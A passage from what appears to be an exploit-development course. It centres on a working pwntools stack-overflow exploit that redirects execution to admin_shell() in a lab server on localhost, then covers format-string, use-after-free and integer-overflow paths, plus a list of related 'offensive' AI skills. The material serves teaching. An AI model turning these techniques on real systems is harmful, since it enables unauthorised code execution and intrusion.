Exploit:
python pwn_vuln_server.py
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
def pwn():
p = remote('localhost', 1337)
p.recvuntil(b'> ')
# Load binary
elf = ELF('./vuln_server')
admin_shell = elf.symbols['admin_shell']
log.success(f"admin_shell @ {hex(admin_shell)}")
# Find ret gadget for stack alignment
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
log.info(f"ret @ {hex(ret)}")
# Calculate offset
# username[64] buffer starts at rbp-0x40
# Distance from start of username to return address:
# 64 bytes (buffer) + 8 bytes (saved RBP) = 72 bytes
offset = 72
log.info(f"Offset: {offset} bytes")
# Build payload
# Note: This works because memcpy() allows null bytes
payload = b'A' * offset
payload += p64(ret) # Stack alignment (16-byte before call)
payload += p64(admin_shell) # Jump to admin_shell()
log.info(f"Payload: {len(payload)} bytes")
log.info("Sending exploit...")
p.sendline(b'auth ' + payload)
# Wait for response
try:
response = p.recvline(timeout=2)
log.info(f"Response: {response[:60]}...")
except:
pass
# Check for admin message
sleep(0.5)
try:
data = p.recv(timeout=2)
if b'Admin access granted' in data:
log.success("admin_shell() was called!")
log.info(f"Received: {data}")
except:
pass
# Now interact with the shell
log.success("Going interactive - you should have a shell!")
log.info("Try commands: id, whoami, ls, pwd")
p.interactive()
if __name__ == '__main__':
pwn()
Real-World Implications:
- Input Validation Matters: Many functions stop at null bytes (strcpy, scanf, gets, string functions)
- Vulnerability Chaining: In real scenarios, you'd chain the format string or UAF vulnerabilities
- Alternative Input Methods: Look for binary protocols, file uploads, or other non-string inputs
- Partial Overwrites: On some architectures, you can overwrite just lower bytes (limited on x86-64)
Alternative Exploitation Paths (without modifying the server):
- Format String Arbitrary Write: Use
echocommand to write to GOT or function pointers - Use-After-Free: Exploit
notecommand to control function pointer (no null bytes needed) - Integer Overflow: Use
datacommand for heap corruption leading to arbitrary write - Vulnerability Chaining: Combine multiple bugs for complete exploitation
Capstone Checklist
-
Environment Setup
- VulnServer compiled with correct flags
- Server running on port 1337
- pwntools environment configured
- Binary protections verified (NX enabled, no canary, no PIE)
-
Task 1: Stack Overflow (Primary Goal) [x] Working exploit provided
- Buffer overflow offset found (72 bytes)
- admin_shell address located
- ret gadget found for stack alignment
- Payload built correctly (padding + ret + admin_shell)
- Shell obtained reliably (>90% success)
- Understand why memcpy() is used instead of strcpy()
-
Task 2: Format String Leak
- Format string vulnerability confirmed via
echocommand - Stack layout mapped (positions 1-20)
- Libc addresses identified (0x7f...)
- Libc base calculated correctly (ends in 000)
- Leak is reliable (100% success rate)
- Note: Exploit code provided in earlier sections (find_libc_offset.py)
- Format string vulnerability confirmed via
-
Task 3: Use-After-Free
- UAF vulnerability confirmed via
notecommand - Note struct layout understood (64 bytes content + 8 bytes function pointer)
- admin_shell address located
- Limitation identified: strcpy prevents null bytes in function pointer
- Alternative: Use format string to write function pointer
- UAF vulnerability confirmed via
-
Task 4: Integer Overflow
- Integer overflow identified in
data alloccommand - Vulnerability:
size + 1can wrap to 0 if size = 0xffffffff - Heap overflow potential confirmed
- Note: Exploitation requires heap feng shui techniques
- Integer overflow identified in
-
Documentation
- Working exploit (pwn_vuln_server.py) tested and understood
- Understand the strcpy() vs memcpy() lesson
- Know why direct exploitation of strcpy() buffer overflow fails
- Understand alternative exploitation paths (format string, UAF)
- Document lessons learned about input validation constraints
Key Takeaways
- Exploitation is Engineering: It requires precision, planning, and debugging. It's not just running a script.
- Primitives are Building Blocks: A "crash" is useless. A "write-what-where" is powerful.
- Reliability separates Pros from Script Kiddies: An exploit that works 100% of the time is infinitely better than one that works 10% of the time.
- Mitigations Change the Game: Everything you learned this week assumes no mitigations. Next week, you'll see how ASLR and DEP break these techniques (and how to fix them).
- CET Changes Modern Exploitation: On glibc 2.34+, ROP to
system()may fail; use one_gadget with RBP fix or function pointer overwrites instead. - Know Your Attack Surface: Function pointers and GOT bypass CET; ROP chains don't.
- Input Validation Matters: Functions like
strcpy()stop at null bytes, making some exploits impossible without modification or vulnerability chaining. - Real-World Constraints: The strcpy() limitation in this exercise teaches an important lesson - not all vulnerabilities are directly exploitable due to input validation.
Discussion Questions
- How can integer overflows lead to exploitable conditions? Give examples of vulnerable size calculations.
- Why are integer overflows particularly dangerous in parsers (images, fonts, documents)?
- What's the difference between signed and unsigned integer overflow behavior in C?
- In the multi-stage exploit, how do you chain primitives from different vulnerability classes?
- Which vulnerability class did you find most difficult to exploit this week, and why?
- How would ASLR affect the exploits you built this week? What information would you need to leak to bypass it?
- What makes data-only attacks valuable in modern exploitation scenarios where CFI/CET is enabled?
Bridging to Windows (Week 6 Preparation)
The techniques you learned this week apply to Windows with some modifications:
| Linux Concept | Windows Equivalent | Key Difference |
|---|---|---|
execve("/bin/sh") | WinExec("cmd.exe") | Different API, same goal |
| GOT/PLT | IAT (Import Address Table) | Similar lazy binding concept |
| Stack canary | /GS cookie | XOR'd with stack frame pointer on Windows |
| NX bit | DEP | Same hardware feature |
| ASLR | ASLR + High Entropy VA | More entropy on 64-bit Windows |
| Signal handlers | SEH (Structured Exception Handling) | Different exploitation approach (chain overwrites) |
| glibc heap | NT Heap / Segment Heap | Different allocator internals and metadata |
| Format strings | Same vulnerability | Different format specifiers (%p, %n work) |
| ROP gadgets | Same technique | Different calling convention (stack-based args) |
| one_gadget | Magic gadgets in system DLLs | Similar concept, different tools |
Techniques Covered This Week
Day 1: Stack buffer overflow, shellcode execution, NOP sleds, offset finding
Day 2: ret2libc, ROP chains, libc leaks, one_gadget, stack alignment
Day 3: Heap fundamentals, heap overflow, fastbin/tcache poisoning
Day 4: Modern heap techniques (House of Botcake, House of Water, House of Tangerine), safe-linking bypass
Day 5: Format string exploitation, arbitrary read/write, GOT overwrites, FSOP
Day 6: Logic bugs, data-only attacks, UAF exploitation, race conditions
Day 7: Integer overflows, multi-stage exploits, combining primitives
Looking Ahead to Week 6
Next week introduces modern exploit mitigations (DEP, ASLR, stack canaries, CFI/CET) and how they prevent the techniques you learned this week. You'll learn to:
- Identify active mitigations using
checksec,vmmap, and runtime analysis - Understand protection mechanisms (how they work internally)
- Recognize when mitigations are improperly configured or bypassable
- Prepare for Week 7's mitigation bypass techniques (info leaks, partial overwrites, heap spraying, etc.)
The goal is to understand what each mitigation protects against and why it works before learning how to defeat it.
<!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->> related_skills --same-repo
> offensive-xxe
offensive-xxe skill from SnailSploit/Claude-Red
> offensive-xss
offensive-xss skill from SnailSploit/Claude-Red
> offensive-windows-mitigations
offensive-windows-mitigations skill from SnailSploit/Claude-Red
> offensive-windows-boundaries
offensive-windows-boundaries skill from SnailSploit/Claude-Red